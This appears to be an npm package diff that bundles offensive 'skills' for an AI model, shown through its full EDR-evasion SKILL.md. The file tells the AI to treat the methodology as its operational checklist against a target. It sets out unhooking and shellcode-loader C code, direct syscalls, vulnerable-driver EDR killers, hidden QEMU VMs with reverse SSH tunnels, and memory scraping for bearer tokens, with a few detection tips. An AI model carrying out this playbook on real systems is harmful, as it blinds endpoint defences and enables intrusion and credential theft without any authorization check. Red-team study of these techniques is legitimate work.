@aegis-scan/skills 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (69) hide show
  1. package/ATTRIBUTION.md +75 -0
  2. package/CHANGELOG.md +129 -0
  3. package/LICENSE +21 -0
  4. package/README.md +123 -0
  5. package/dist/bin.d.ts +3 -0
  6. package/dist/bin.d.ts.map +1 -0
  7. package/dist/bin.js +122 -0
  8. package/dist/bin.js.map +1 -0
  9. package/dist/commands/info.d.ts +5 -0
  10. package/dist/commands/info.d.ts.map +1 -0
  11. package/dist/commands/info.js +75 -0
  12. package/dist/commands/info.js.map +1 -0
  13. package/dist/commands/install.d.ts +7 -0
  14. package/dist/commands/install.d.ts.map +1 -0
  15. package/dist/commands/install.js +87 -0
  16. package/dist/commands/install.js.map +1 -0
  17. package/dist/commands/list.d.ts +7 -0
  18. package/dist/commands/list.d.ts.map +1 -0
  19. package/dist/commands/list.js +82 -0
  20. package/dist/commands/list.js.map +1 -0
  21. package/dist/index.d.ts +13 -0
  22. package/dist/index.d.ts.map +1 -0
  23. package/dist/index.js +13 -0
  24. package/dist/index.js.map +1 -0
  25. package/dist/skills-loader.d.ts +23 -0
  26. package/dist/skills-loader.d.ts.map +1 -0
  27. package/dist/skills-loader.js +213 -0
  28. package/dist/skills-loader.js.map +1 -0
  29. package/package.json +63 -0
  30. package/skills/defensive/README.md +9 -0
  31. package/skills/mitre-mapped/README.md +10 -0
  32. package/skills/offensive/snailsploit-fork/advanced-redteam/SKILL.md +148 -0
  33. package/skills/offensive/snailsploit-fork/ai-security/SKILL.md +592 -0
  34. package/skills/offensive/snailsploit-fork/basic-exploitation/SKILL.md +10783 -0
  35. package/skills/offensive/snailsploit-fork/bug-identification/SKILL.md +1256 -0
  36. package/skills/offensive/snailsploit-fork/crash-analysis/SKILL.md +12466 -0
  37. package/skills/offensive/snailsploit-fork/deserialization/SKILL.md +185 -0
  38. package/skills/offensive/snailsploit-fork/edr-evasion/SKILL.md +1806 -0
  39. package/skills/offensive/snailsploit-fork/exploit-dev-course/SKILL.md +428 -0
  40. package/skills/offensive/snailsploit-fork/exploit-development/SKILL.md +699 -0
  41. package/skills/offensive/snailsploit-fork/fast-checking/SKILL.md +487 -0
  42. package/skills/offensive/snailsploit-fork/file-upload/SKILL.md +822 -0
  43. package/skills/offensive/snailsploit-fork/fuzzing/SKILL.md +340 -0
  44. package/skills/offensive/snailsploit-fork/fuzzing-course/SKILL.md +2105 -0
  45. package/skills/offensive/snailsploit-fork/graphql/SKILL.md +209 -0
  46. package/skills/offensive/snailsploit-fork/idor/SKILL.md +608 -0
  47. package/skills/offensive/snailsploit-fork/initial-access/SKILL.md +1528 -0
  48. package/skills/offensive/snailsploit-fork/jwt/SKILL.md +276 -0
  49. package/skills/offensive/snailsploit-fork/keylogger-arch/SKILL.md +197 -0
  50. package/skills/offensive/snailsploit-fork/mitigations/SKILL.md +1351 -0
  51. package/skills/offensive/snailsploit-fork/oauth/SKILL.md +366 -0
  52. package/skills/offensive/snailsploit-fork/open-redirect/SKILL.md +487 -0
  53. package/skills/offensive/snailsploit-fork/osint/SKILL.md +399 -0
  54. package/skills/offensive/snailsploit-fork/osint-methodology/SKILL.md +434 -0
  55. package/skills/offensive/snailsploit-fork/parameter-pollution/SKILL.md +595 -0
  56. package/skills/offensive/snailsploit-fork/race-condition/SKILL.md +881 -0
  57. package/skills/offensive/snailsploit-fork/rce/SKILL.md +1069 -0
  58. package/skills/offensive/snailsploit-fork/request-smuggling/SKILL.md +773 -0
  59. package/skills/offensive/snailsploit-fork/shellcode/SKILL.md +477 -0
  60. package/skills/offensive/snailsploit-fork/sqli/SKILL.md +372 -0
  61. package/skills/offensive/snailsploit-fork/ssrf/SKILL.md +830 -0
  62. package/skills/offensive/snailsploit-fork/ssti/SKILL.md +349 -0
  63. package/skills/offensive/snailsploit-fork/vuln-classes/SKILL.md +1229 -0
  64. package/skills/offensive/snailsploit-fork/waf-bypass/SKILL.md +820 -0
  65. package/skills/offensive/snailsploit-fork/windows-boundaries/SKILL.md +15153 -0
  66. package/skills/offensive/snailsploit-fork/windows-mitigations/SKILL.md +14546 -0
  67. package/skills/offensive/snailsploit-fork/xss/SKILL.md +784 -0
  68. package/skills/offensive/snailsploit-fork/xxe/SKILL.md +996 -0
  69. package/skills/ops/README.md +6 -0
@@ -0,0 +1,1806 @@
1
+ <!-- aegis-local: forked 2026-04-23 from SnailSploit/Claude-Red@c74d53e2938b59f111572e0819265a1e73029393; attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ # SKILL: Endpoint Detection and Response
4
+
5
+ ## Metadata
6
+ - **Skill Name**: edr-evasion
7
+ - **Folder**: offensive-edr-evasion
8
+ - **Source**: https://github.com/SnailSploit/offensive-checklist/blob/main/edr.md
9
+
10
+ ## Description
11
+ EDR evasion offensive checklist: hook unhooking (user/kernel), direct syscalls, PPID spoofing, process injection variants, AMSI bypass, ETW patching, memory encryption, and behavior-based evasion. Use when planning EDR bypass during red team engagements or researching AV/EDR evasion techniques.
12
+
13
+ ## Trigger Phrases
14
+ Use this skill when the conversation involves any of:
15
+ `EDR evasion, EDR bypass, hook unhooking, direct syscalls, PPID spoofing, process injection, AMSI bypass, ETW patch, memory encryption, AV evasion, behavioral evasion, red team evasion`
16
+
17
+ ## Instructions for Claude
18
+
19
+ When this skill is active:
20
+ 1. Load and apply the full methodology below as your operational checklist
21
+ 2. Follow steps in order unless the user specifies otherwise
22
+ 3. For each technique, consider applicability to the current target/context
23
+ 4. Track which checklist items have been completed
24
+ 5. Suggest next steps based on findings
25
+
26
+ ---
27
+
28
+ ## Full Methodology
29
+
30
+ # Endpoint Detection and Response
31
+
32
+ ## Fundamentals
33
+
34
+ ### AV vs EDR
35
+
36
+ **Antivirus (preventive approach)**:
37
+
38
+ - Static Analysis: Matching known signatures in files
39
+ - Dynamic Analysis: Limited behavioral monitoring/sandboxing
40
+ - Effective against known threats, weaker against advanced attacks
41
+
42
+ **EDR (proactive & investigative approach)**:
43
+
44
+ - Continuous endpoint monitoring
45
+ - Behavioral analysis at kernel level
46
+ - Anomaly detection and post-compromise visibility
47
+ - Prioritizes incident response and investigation
48
+
49
+ ### Windows Execution Flow
50
+
51
+ Windows program execution follows a hierarchical flow:
52
+
53
+ 1. **Applications** - User programs like firefox.exe
54
+ 2. **DLLs** - Libraries providing Windows functionality without direct low-level access
55
+ 3. **Kernel32.dll** - Core DLL for memory management, process/thread creation
56
+ 4. **Ntdll.dll** - Lowest user-mode DLL that exposes the NT API interface to the kernel
57
+ 5. **Kernel** - Core OS component with unrestricted hardware access
58
+
59
+ Example operation flow (creating a file):
60
+
61
+ 1. Application invokes `CreateFile` function
62
+ 2. CreateFile forwards to `NtCreateFile`
63
+ 3. Ntdll.dll triggers `NtCreateFile` syscall
64
+ 4. Kernel creates the file and returns a handle
65
+
66
+ ## EDR Visibility
67
+
68
+ ### EDR Architecture & Components
69
+
70
+ EDR solutions consist of multiple components creating a complex attack surface:
71
+
72
+ **Client-Side Components:**
73
+
74
+ - **User-space Applications** - Main agent processes and UI components
75
+ - **Kernel-space Drivers** - Filter drivers, network drivers, software drivers
76
+ - **Communication Interfaces** - IOCTLs, FilterConnectionPorts, ALPC, Named Pipes
77
+
78
+ **Component Communication Methods:**
79
+
80
+ - **Kernel-to-Kernel**: Exported functions, IOCTLs
81
+ - **User-to-Kernel**: IOCTLs, FilterConnectionPorts (minifilter-specific), ALPC
82
+ - **User-to-User**: ALPC, Named Pipes, Files, Registry
83
+
84
+ **Server-Side Components:**
85
+
86
+ - Cloud services and management consoles
87
+ - On-premise servers (some vendors)
88
+ - Custom protocols for agent-to-cloud communication
89
+
90
+ ### EDR Visibility Methods
91
+
92
+ EDR solutions require extended visibility into system activities:
93
+
94
+ - Filesystem monitoring via mini-filter drivers
95
+ - Process/module loading via image load kernel callbacks
96
+ - Process/.NET modules/Registry/kernel object events via ETW Ti
97
+ - Network monitoring via NDIS and network filtering drivers
98
+
99
+ ### Static Analysis
100
+
101
+ - Extract information from binary
102
+ - Known malicious strings
103
+ - Threat actor IP or domains
104
+ - Malware binary hashes
105
+
106
+ ### Dynamic Analysis
107
+
108
+ - Execute binary in a sandbox environment and observe it
109
+ - Network connections
110
+ - Registry changes
111
+ - Memory access
112
+ - File creation/deletion
113
+ - AntiMalware Scan Interface
114
+
115
+ ### Behavioral Analysis
116
+
117
+ - Observe the binary as its executing, Hook into functions/syscalls
118
+ - User actions
119
+ - System calls
120
+ - Kernel callbacks
121
+ - Commands executed in the command line
122
+ - Which process is executing the code
123
+ - Event Tracing for Windows
124
+
125
+ ## Detection Methods
126
+
127
+ ### AV Signature Scanning
128
+
129
+ - Scans files using known signatures (YARA rules)
130
+ - Typically targets loaders and droppers
131
+ - Primarily static analysis of files on disk
132
+
133
+ ### AV Emulation
134
+
135
+ - Runs suspicious programs in a simulated environment
136
+ - Triggers on behaviors without executing real code
137
+ - Used to detect obfuscated malware
138
+
139
+ ### Usermode Hooks
140
+
141
+ - EDR hooks critical API calls in userspace (ntdll.dll)
142
+ - Monitors process creation, memory allocations, and network operations
143
+ - Allows for inspection before execution continues
144
+
145
+ ### Kernel Telemetry
146
+
147
+ - Monitors events directly from the kernel
148
+ - Captures file, registry, process, and network operations
149
+ - Difficult to bypass as it operates at a lower level
150
+
151
+ ### Memory Scanning
152
+
153
+ - Scans process memory for known signatures
154
+ - Triggers based on suspicious behavior
155
+ - Looks for shellcode, encryption, malicious strings
156
+ - **Modern Context:**
157
+ - Attackers also scan process memory for sensitive artifacts like authentication tokens. Co‑pilot/IDE integrations, chat assistants, and browser extensions frequently cache Bearer/JWT tokens in memory.
158
+ - Practical triage: search for `"Authorization: Bearer"`, `"eyJ"` (base64 JWT prefix), or provider‑specific headers; dump minimal pages to avoid tripping anti‑exfil rules.
159
+
160
+ ## OpSec Quickstart (lab)
161
+
162
+ - Pre‑run
163
+ - Network: block or sinkhole vendor EDR/XDR endpoints; disable cloud sample submission; tag lab hosts.
164
+ - Mitigations snapshot: `Get-ProcessMitigation -System`; `Get-CimInstance Win32_DeviceGuard` (VBS/HVCI/KDP); `Get-MpPreference` (ASR/Cloud).
165
+ - Events baseline: enable and tail `Microsoft-Windows-CodeIntegrity/Operational`, `Security (4688/4689)`, `Microsoft-Windows-Sense/Operational`, Sysmon (if present).
166
+ - Injection hygiene
167
+ - Favor `MEM_IMAGE` mappings (ghosting/herpaderping/overwriting) over `MEM_PRIVATE` RWX to avoid 24H2 hotpatch loader checks.
168
+ - Satisfy XFG/CET: jump via import thunks; ensure IBT `ENDBR64` at indirect targets; maintain plausible stacks for syscalls (replicate `ntdll` frames).
169
+ - Avoid noisy APIs: split `alloc/write/exec` over time; prefer APC+`NtContinue` pivots; keep thread contexts consistent.
170
+ - Telemetry minimization
171
+ - Jitter long‑lived channels; prefer named‑pipe/HTTP3 over noisy HTTP1; throttle upload intervals.
172
+ - Use COM/runspace over PowerShell console to reduce script‑block logs; avoid AMSI‑flagged prologues.
173
+ - Cleanup
174
+ - Remove services, tasks, drivers; restore SDDL; revert registry policy flips (WDAC/CI/Defender) and re‑enable protections.
175
+ - Purge user caches (Recent Files, Jump Lists) and ETW providers enabled during tests.
176
+
177
+ ### Memory Regions
178
+
179
+ - Monitors suspicious memory allocation patterns
180
+ - Flags RWX (read-write-execute) regions
181
+ - Tracks regions that change from RW to RX
182
+
183
+ ### Callstack Analysis
184
+
185
+ - Examines the call stack of suspicious functions
186
+ - Verifies legitimate origin of critical operations
187
+ - Detects unusual function call chains
188
+
189
+ ### Hook Implementation
190
+
191
+ EDRs can't directly hook kernel memory due to PatchGuard, so they:
192
+
193
+ 1. Inject their DLL into newly spawned processes
194
+ 2. Position before malware can block/unmap it
195
+ 3. Adjust `_PEB`, hook process's module `IAT`/Imports, and loaded libraries `EAT`/Exports
196
+ 4. Implement trampolines, hooks, and detours
197
+
198
+ ### ETW Monitoring
199
+
200
+ - EDR maintains ring-buffer with per-process activities produced by ETW Ti:
201
+ - Processes, command lines, parent-child relationships
202
+ - File/Registry/Process open/write operations
203
+ - Created threads, their call stacks, starting addresses
204
+ - Native functions called
205
+ - Created .NET AppDomains, loaded .NET assemblies, static class names, methods
206
+
207
+ #### Event Correlation
208
+
209
+ - High fidelity alert (such as LSASS open) triggers correlation of collected activities
210
+ - High memory/resources cost limits preservation of events to a time window
211
+ - ML/AI may compute risk scores and isolate TTP (Tactics, Techniques, and Procedures)
212
+
213
+ #### Shellcode Loaders
214
+
215
+ Shellcode loaders typically follow this pattern:
216
+
217
+ ```c
218
+ char *shellcode = "\xAA\xBB...";
219
+ char *dest = VirtualAlloc(NULL, 0x1234, 0x3000, PAGE_READWRITE);
220
+ memcpy(dest, shellcode, 0x1234)
221
+ VirtualProtect(dest, 0x1234, PAGE_EXECUTE_READ, &result)
222
+ (*(void(*)())(dest))(); // jump to dest: execute shellcode
223
+ ```
224
+
225
+ ## Attacking EDR Infrastructure Directly
226
+
227
+ ### Driver Attack Surface Analysis
228
+
229
+ A systematic approach to analyzing EDR drivers from a low-privileged user perspective:
230
+
231
+ #### 1. Driver Discovery
232
+
233
+ **Static Analysis:**
234
+
235
+ ```powershell
236
+ # List loaded drivers
237
+ driverquery /v
238
+ Get-WindowsDriver -Online -All
239
+
240
+ # Using WMI
241
+ Get-WmiObject Win32_PnPSignedDriver | Select-String "EDR_Vendor"
242
+ ```
243
+
244
+ **Dynamic Analysis:**
245
+
246
+ ```powershell
247
+ # Using sc command
248
+ sc query type= driver state= all
249
+
250
+ # Process Monitor filtering
251
+ # Filter: Process and Thread Activity -> Show Image/DLL
252
+ ```
253
+
254
+ #### 2. Interface Enumeration
255
+
256
+ **Device Driver Interfaces:**
257
+
258
+ - Listed in WinObj under "GLOBAL??" as Symbolic Links
259
+ - Accessible via `\\.\DEVICE_NAME` format
260
+ - Tools: WinObj (Sysinternals), DeviceTree (OSR - discontinued)
261
+
262
+ **Mini-Filter Driver Interfaces:**
263
+
264
+ - Listed in WinObj as "FilterConnectionPort" objects
265
+ - Communication via `FltCreateCommunicationPort` API
266
+ - Example paths: `\CyvrFsfd`, `\SophosPortName`
267
+
268
+ #### 3. Access Permission Analysis
269
+
270
+ **Device Driver ACL Checking:**
271
+
272
+ ```cpp
273
+ // Using DeviceTree (preferred) or kernel debugger
274
+ // WinDbg example:
275
+ !object \Device\DeviceName
276
+ !sd <SecurityDescriptor_Address> 1
277
+ ```
278
+
279
+ **FilterConnectionPort ACL Checking:**
280
+
281
+ ```powershell
282
+ # Using NtObjectManager (James Forshaw)
283
+ Get-FilterConnectionPort -Path "\FilterPortName"
284
+ # Error indicates access denied
285
+
286
+ # In WinDbg:
287
+ !object \FilterPortName
288
+ dx (((nt!_OBJECT_HEADER*)0xAddress)->SecurityDescriptor & ~0xa)
289
+ !sd <SecurityDescriptor_Address> 1
290
+ ```
291
+
292
+ #### 4. Interface Functionality Analysis
293
+
294
+ **Device Driver Communication:**
295
+
296
+ - Primary method: DeviceIoControl() → IRP_MJ_DEVICE_CONTROL
297
+ - IOCTL codes differentiate between functions
298
+ - May include process ID verification for authorization
299
+
300
+ **FilterConnectionPort Communication:**
301
+
302
+ - Uses callback functions: ConnectNotifyCallback, DisconnectNotifyCallback, MessageNotifyCallback
303
+ - Similar to IOCTL dispatch with different message types
304
+
305
+ #### 5. Common EDR Driver Interfaces
306
+
307
+ **Examples of accessible interfaces found in research:**
308
+
309
+ **Palo Alto Cortex XDR:**
310
+
311
+ - **Device Interfaces**:
312
+ - `\\.\PaloEdrControlDevice` (tedrdrv.sys) - ~20 IOCTL handlers with various functionality
313
+ - `\\.\CyvrMit` (cyvrmtgn.sys) - Legacy Cyvera interface
314
+ - `\\.\PANWEdrPersistentDevice11343` (tedrpers-<version>.sys) - Persistent device interface
315
+ - **FilterConnectionPort**: Various ports with different ACLs
316
+ - **Research Findings**:
317
+ - IOCTL 0x2260D8 returns 3088 bytes of statistics data (accessible to low-privileged users)
318
+ - IOCTL 0x2260D0 provides initialization status information
319
+ - Some interfaces accessible due to injected DLL architecture requiring broad permissions
320
+
321
+ **Sophos Intercept X:**
322
+
323
+ - **FilterConnectionPort**: `\SophosPortName`
324
+ - **Analysis Results**: Accessible interfaces for legitimate process communication but limited attack surface
325
+
326
+ #### 6. Why EDRs Have Open ACLs
327
+
328
+ EDRs often use an architecture where:
329
+
330
+ - Agent injects DLLs into processes (including low-privileged ones like `word.exe`)
331
+ - Injected DLLs communicate directly with drivers via IOCTLs
332
+ - Drivers cannot restrict based solely on process privilege level
333
+ - Results in more permissive ACLs to accommodate legitimate injected processes
334
+
335
+ ## Evasion Techniques
336
+
337
+ ### Memory-Based Evasion
338
+
339
+ #### EDR-Freeze
340
+
341
+ A novel technique exploiting Windows Error Reporting (WER) to temporarily disable EDR/AV processes:
342
+
343
+ ##### Mechanism
344
+
345
+ - Leverages `WerFault.exe` and Windows Error Reporting infrastructure
346
+ - Suspends all threads in target EDR/AV processes indefinitely
347
+ - No kernel-mode access or driver exploitation required
348
+ - Operates entirely from user-mode context
349
+
350
+ ##### Technical Implementation
351
+
352
+ - Trigger WER fault injection on target security process
353
+ - WER suspends all threads for crash dump generation
354
+ - Attacker maintains suspended state without completing crash handling
355
+ - Target process remains alive but non-functional
356
+
357
+ ##### Advantages
358
+
359
+ - No elevation required in default WER configurations
360
+ - Avoids detection heuristics for process termination
361
+ - Temporary disabling without unloading kernel drivers
362
+ - Minimal forensic footprint compared to driver killing
363
+
364
+ ##### Limitations
365
+
366
+ - Effectiveness varies by Windows version and WER configuration
367
+ - Some EDRs implement anti-suspension protections
368
+ - Temporary nature requires continuous re-application
369
+ - May generate WER event logs exposing the technique
370
+
371
+ > [!TIP]
372
+ > Blue team detection: Alert on `PssSuspendProcess` / `PssSuspendThread` API calls combined with `OpenProcess` targeting EDR process IDs, or monitor Event ID 1001 (Windows Error Reporting) with unusual source processes.
373
+
374
+ #### Memory Encryption
375
+
376
+ - Encrypts shellcode in memory when not in use
377
+ - Popular techniques:
378
+ - SWAPPALA / SLE(A)PING
379
+ - Thread Pool / Pool Party
380
+ - Gargoyle
381
+ - Ekko
382
+ - Cronos
383
+ - Foliage
384
+
385
+ #### Sleep Obfuscation
386
+
387
+ - ROP-Styles sleep obfuscations
388
+ - [Ekko](https://github.com/Cracked5pider/Ekko)
389
+ - [FOLIAGE](https://github.com/y11en/FOLIAGE)
390
+ - these setup `_CONTEXT` in advance so that `EIP/RIP` points to native API
391
+ - and then schedule APC with `NtContinue` to jump to that requested API
392
+
393
+ #### Secure Enclaves (VBS)
394
+
395
+ - Virtualization-Based Security (VBS) enclaves provide an isolated user-mode TEE that even kernel-mode sensors cannot inspect under normal conditions.
396
+ - Deprecation/support scope (Microsoft):
397
+ - Windows 11 ≤ 23H2: VBS enclaves are deprecated; existing enclaves signed with the legacy EKU (OID `1.3.6.1.4.1.311.76.57.1.15`) continue to run until re-signed. New enclave signing requires updated EKUs and is not supported on these versions.
398
+ - Windows 11 24H2+ and Windows Server 2025: VBS enclaves are supported with new EKUs.
399
+ - Security fix: CVE-2024-49076 (VBS Enclave EoP) — ensure December 2024+ updates are applied.
400
+ - Signing constraints: Only Microsoft-signed enclave DLLs or DLLs signed via Azure Trusted Signing load; test- or self-signed DLLs are rejected.
401
+ - Architecture summary:
402
+ - Enclave host app (VTL0) invokes enclave APIs; enclave DLL executes in isolated user mode (VTL1) with restricted API surface; Secure Kernel validates integrity.
403
+ - Offensive considerations (lab): viable for secure storage of secrets/implants during sleep and for hiding sensitive code paths; limited by restricted API surface and signing requirements.
404
+ - Practical notes:
405
+ - On unsupported SKUs/versions, enclave APIs may appear and return `STATUS_FEATURE_DEPRECATED`.
406
+ - Prefer testing on Windows 11 24H2+/Server 2025 with proper signing.
407
+
408
+ #### Malware Virtualization
409
+
410
+ - Malware virtualization provides advanced evasion against modern EDR:
411
+ - Embeds a custom virtual machine to execute bytecode instead of native code
412
+ - Makes static and dynamic analysis difficult through instruction obfuscation
413
+ - Prevents detection of instruction patterns and behavior prediction
414
+
415
+ - Implementation advantages:
416
+ - Conceals malicious instructions from EDR monitoring
417
+ - Protects against code patching attempts
418
+ - Hinders behavioral analysis through custom execution model
419
+
420
+ - Multi-VM approach further evades detection:
421
+ - Multiple VMs running concurrently disrupts heuristic pattern detection
422
+ - Each VM creates distinct event patterns, confusing EDR correlation
423
+ - "ETW noise" technique to blend with legitimate activity
424
+
425
+ - Deployment strategies:
426
+ - Bytecode polling - periodically fetching new instructions from C2
427
+ - Using transpilers to convert compiled binaries to custom bytecode
428
+ - Applying polymorphic engine to mutate VM code itself
429
+
430
+ - Successfully evaded detection for:
431
+ - Initial shellcode/bytecode execution (subsequent actions still monitored)
432
+ - Specific AV/EDR patching routines (may require updates per product)
433
+ - Initial C2 communication (ongoing traffic patterns may be detected)
434
+ - Specific AD queries (patterns of queries can still be flagged)
435
+
436
+ ### QEMU-Based Virtualization Evasion
437
+
438
+ - **Concept**: Deploy portable QEMU VMs to execute malicious code within guest OS, avoiding host-based EDR detection
439
+ - **Technical Implementation**:
440
+ - Portable QEMU deployment via ZIP archives containing VM binaries and configurations
441
+ - Tiny Core Linux as lightweight guest OS (minimal footprint ~50MB)
442
+ - VBS scripts for automated VM deployment and execution
443
+ - Custom hostname generation for VM identification and tracking
444
+
445
+ - **Configuration Examples**:
446
+
447
+ ```vbs
448
+ # VBS deployment script
449
+ Set shell = CreateObject("WScript.Shell")
450
+ shell.Run "tc.exe -m 512 -hda tc.qcow2 -netdev user,id=net0 -device e1000,netdev=net0"
451
+ ```
452
+
453
+ ```conf
454
+ # QEMU configuration file (upd.conf)
455
+ -m 512
456
+ -hda tc.qcow2
457
+ -netdev user,id=net0
458
+ -device e1000,netdev=net0
459
+ ```
460
+
461
+ - **Persistence Mechanisms**:
462
+ - `bootlocal.sh` modifications for startup execution
463
+ - `filetool.lst` configuration for file persistence across reboots
464
+ - SSH service installation and configuration within guest VM
465
+ - Reverse SSH tunnels over port 443 for C2 communication
466
+
467
+ - **Advanced Techniques**:
468
+ - Anti-forensic SSH configuration (`StrictHostKeyChecking=no`, known hosts to `/dev/null`)
469
+ - SSL/NoSSL tool deployment for encrypted communications
470
+ - Randomized hostname generation to mask VM tracking
471
+ - Port 443 tunneling to blend with HTTPS traffic
472
+
473
+ - **Detection Evasion Benefits**:
474
+ - Guest VM operations invisible to host-based EDR sensors
475
+ - VM network traffic appears as legitimate application activity
476
+ - File operations contained within guest filesystem
477
+ - Process execution isolated from host monitoring
478
+
479
+ - **Limitations & Considerations**:
480
+ - Requires administrative privileges for some QEMU operations
481
+ - VM resource consumption may be detectable
482
+ - Network traffic patterns might still trigger detection
483
+ - Initial VM deployment artifacts remain on host filesystem
484
+
485
+ ### Hook Evasion
486
+
487
+ #### Unhooking
488
+
489
+ - malware overwrites EDR hooks before executing payload
490
+ - you can obtain original `ntdll.dll` from disk and overwrite it inside your own process
491
+ - or you can start the malware process in suspended state and copy the clean `ntdll.dll` from you own memory before executing
492
+ - **Modern Context:** While historically effective, relying solely on replacing `ntdll.dll` or its hooked sections is less reliable. Modern EDRs often use kernel callbacks, ETW, and other telemetry sources that are not bypassed by user-mode unhooking alone. This technique is often used in conjunction with others.
493
+ > [!CAUTION]
494
+ > accessing `ntdll.dll` file can be flagged, API call to overwrite it also might be hooked by EDR
495
+
496
+ ##### API Unhooking for AV Bypass
497
+
498
+ - Most EDR/AVs like BitDefender hook Windows APIs by replacing first bytes with `JMP` instructions (opcode `0xE9`)
499
+ - **Modern Context:** Similar to general unhooking, patching specific API prologues can bypass simple user-mode hooks, but comprehensive EDR solutions have additional detection layers (kernel events, behavioral analysis) that may still detect the malicious activity following the unhook.
500
+ - How to identify hooked APIs:
501
+ - Create a test program that calls potentially hooked APIs
502
+ - Examine first byte of API function using a debugger (like x64dbg)
503
+ - If first byte is `0xE9`, the function is hooked
504
+ - Common hooked APIs:
505
+ - `CreateRemoteThread`/`CreateRemoteThreadEx`
506
+ - `VirtualAllocEx`
507
+ - `WriteProcessMemory`
508
+ - `OpenProcess`
509
+ - `RtlCreateUserThread`
510
+ - Unhooking approach:
511
+ 1. Store original bytes of target APIs from clean system
512
+ 2. Identify hooked functions in memory
513
+ 3. Restore original bytes using `WriteProcessMemory` on the current process
514
+ 4. Execute malicious code using now-unhooked APIs
515
+ - Sample implementation:
516
+
517
+ ```c
518
+ // Find address of target API function
519
+ HANDLE kernelbase_handle = GetModuleHandle("kernel32");
520
+ LPVOID CreateRemoteThread_address = GetProcAddress(kernelbase_handle, "CreateRemoteThread");
521
+
522
+ // Check if function is hooked (first byte is 0xE9)
523
+ byte first_byte = (byte)*(char*)CreateRemoteThread_address;
524
+ if (first_byte == 0xe9) {
525
+ // Replace with original bytes
526
+ char original_bytes[] = "\x4C\x8B\xDC\x48\x83"; // Original prologue bytes
527
+ WriteProcessMemory(GetCurrentProcess(), CreateRemoteThread_address, original_bytes, 5, NULL);
528
+ }
529
+ ```
530
+
531
+ - This technique is effective but may require separate execution for the final payload since some AVs block executing immediately after unhooking. **Modern EDRs might still correlate the unhooking activity with subsequent suspicious actions.**
532
+
533
+ #### Unhooking Tools
534
+
535
+ - [unhook BOF](https://github.com/rsmudge/unhook-bof) - module refreshing (less reliable now **due to alternative EDR telemetry sources**)
536
+ - [Unhookme](https://github.com/mgeeky/UnhookMe) - dynamic unhooking
537
+
538
+ #### Direct System Calls
539
+
540
+ - malware circumvents hook in system DLL by directly system calling into kernel
541
+ - you can implement own syscall in assembly and bypass `ntdll.dll` hooks
542
+ - or obtain `SSN`(System Service Number) dynamically and call them(can be done via [SysWhispers2](https://github.com/jthuraisamy/SysWhispers2))
543
+ - Direct syscalls bypass user-mode hooks in `ntdll.dll` but do not inherently bypass kernel-level monitoring (e.g., via kernel callbacks or ETW). EDRs are increasingly monitoring for patterns indicative of direct syscall usage itself (e.g., unusual call stack origins for syscalls).
544
+ > [!CAUTION]
545
+ > having syscall assembly instructions can be flagged, also this only helps the loader to evade the EDR not the malware itself
546
+ - Major EDR vendorsnow flag **non‑ntdll syscall sites**; consider **return‑address replication gadgets** to re‑insert a plausible `ntdll` frame before the transition.
547
+
548
+ > [!CAUTION]
549
+ > Some EDRs flag syscalls originating outside `ntdll.dll`. Maintaining plausible stacks/return frames may be required to avoid heuristics.
550
+
551
+ ##### Direct Syscall Tools
552
+
553
+ Bypasses user-mode hooks but not kernel monitoring. Requires System Service Dispatch Table (SSDT) index:
554
+
555
+ - [FreshyCalls](https://github.com/crummie5/FreshyCalls) - sorting system call addresses
556
+ - [SysWhispers2](https://github.com/jthuraisamy/SysWhispers2) - modernized syscall resolution
557
+ - [SysWhispers3](https://github.com/klezVirus/SysWhispers3) - adds x86/Wow64 support
558
+ - [Runtime Function Table](https://www.mdsec.co.uk/2022/04/resolving-system-service-numbers-using-the-exception-directory/) - reliable SSN computation
559
+
560
+ #### Indirect System Calls
561
+
562
+ - malware uses code fragments in kernel DLL without calling the hooked functions in those DLL
563
+ - prepare the system call in assembly then find a syscall instruction in `ntdll.dll` and jump to that location
564
+ - **Modern Context:** Similar to direct syscalls, this bypasses user-mode hooks but not necessarily kernel-level monitoring. Finding and jumping to existing `syscall` instructions can be less suspicious than embedding raw syscall stubs, but the subsequent kernel activity is still visible.
565
+ > [!TIP]
566
+ > this is preferred,you can also boost evasion techniques by hiding inside a `.dll`
567
+
568
+ #### Kernel‑Mode EDR Killers (BYOVD)
569
+
570
+ - **Bring‑Your‑Own‑Vulnerable‑Driver (BYOVD)** attacks load legitimately signed but exploitable drivers—examples include **rtcore64.sys**, **iqvw64e.sys**, and **terminator.sys**—to execute privileged code inside the kernel.
571
+ - Typical payload actions
572
+ - Patch or unregister kernel‑mode notify callbacks (`PsSetCreateProcessNotifyRoutine`, `ObRegisterCallbacks`) to blind user‑mode EDR components.
573
+ - Overwrite or unload _WdFilter.sys_ and other sensor drivers, fully disabling Defender or third‑party agents.
574
+ - Public toolchains such as **Terminator**, **kdmapper**, and **EDRSensorDisabler** automate these steps.
575
+ - Case study: Lenovo `LnvMSRIO.sys` (CVE‑2025‑8061). Exposes physical memory/MSR read‑write primitives to low‑privileged users; can overwrite MSR_LSTAR and pivot to Ring‑0 payload, then patch/unregister callbacks to blind EDR.
576
+
577
+ > [!TIP]
578
+ > The vulnerable‑driver blocklist (`DriverSiPolicy.p7b`) is **enabled by default** on Windows 11 22H2+ and refreshed every Patch Tuesday. Keep HVCI/KDP enabled so attacker drivers cannot patch protected code pages, and enable Hardware‑Enforced Stack Protection (CET/Shadow Stack) on Windows 11 24H2 to break call‑stack spoofing.
579
+
580
+ > [!NOTE]
581
+ > Because the blocklist is on by default and updated frequently, a BYOVD chain now often needs **two** vulnerable drivers: one to disable Secure Boot or flip `CiOptions`, and a second to perform the EDR‑killer actions before the next blocklist refresh.
582
+
583
+ ### User-Mode Application Whitelisting Bypass
584
+
585
+ #### Exploiting Vulnerable Trusted Applications
586
+
587
+ Windows Defender Application Control (WDAC) and similar application whitelisting solutions can be bypassed by leveraging vulnerabilities in trusted, signed applications. A notable technique involves exploiting N-day vulnerabilities in the V8 JavaScript engine within Electron-based applications.
588
+
589
+ - **Concept (Bring Your Own Vulnerable Application - BYOVA)**:
590
+ - A trusted, signed Electron application (e.g., an older version of VSCode) with a known V8 vulnerability is used as a carrier.
591
+ - The application's `main.js` (or equivalent) is replaced with a V8 exploit that executes a native shellcode payload.
592
+ - If the application is whitelisted, WDAC allows it to run, inadvertently executing the malicious shellcode.
593
+ - **Advantages**:
594
+ - Achieves native shellcode execution, overcoming limitations of pure JavaScript execution in some backdoored Electron app scenarios.
595
